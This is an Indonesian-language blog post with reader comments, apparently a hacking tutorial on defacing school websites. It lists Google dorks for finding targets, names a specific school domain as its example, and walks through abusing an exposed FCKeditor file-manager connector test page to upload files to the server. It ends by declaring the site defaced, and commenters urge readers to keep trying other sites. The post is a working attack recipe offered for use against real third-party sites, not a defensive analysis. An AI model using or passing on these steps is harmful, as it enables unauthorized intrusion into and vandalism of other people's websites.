Bahan:1. Notepad (isi sesukamu)
Note: Siapkan Scriptnya dahulu
Langkah kerja:
1. Masukkan salah satu dork ke Google
Dork:
inurl:/html/siswa.php?
inurl:/html/alumni.php?
inurl:/html/guru.php?
saya memilih dork inurl:/html/siswa.php? . Nanti akan muncul web untuk ditebas.Pilih salah satu webnya
2. Oke kalo udah. Saya memilih website yang saya temukan seperti
http://smpn4-malang.sch.id/html/siswa.php?id=prestasi
3. Exploit dengan /editor/filemanager/connectors/test.html
contohnya : http://smpn4-malang.sch.id/editor/filemanager/connectors/test.html lalu Enter
4. Tampilannya akan berubah
5. Pada kolom Connector ubahlah *ASP menjadi *PHP, terus pada kolom Resource Type ganti menjadi File
6. Upload file anda yang berbentuk .txt kalo berhasil ada tanda File Uploaded With No Error
Klik Ok
7. Setelah file ter-upload. Kita cari file kita dengan exploit /userfiles/file/namafileanda.txt
contohnya seperti http://smpn4-malang.sch.id/userfiles/file/ahmad.txt
Taraaaa. Web sudah berhasil di deface.
itu saja info dri saya. sekian dan trima kasih ^_^
6 Comments
error
kok error gak bisa ?
"Tidak semua website bisa dengan teknik ini, harap selalu mencari dan mencoba! karena dalam dunia Hacking tidak ada yg instants dan bisa berhasil dengan mudah! Mereka yg berhasil adalah mereka yg selalu sabar berusaha dan terus mencoba!"
Nggk semua website sch.id bisa di deface, karena ada beberapa website yang mempunyai vps
asu :v
\
itu aja gan
Bagaimana Pendapat Anda ?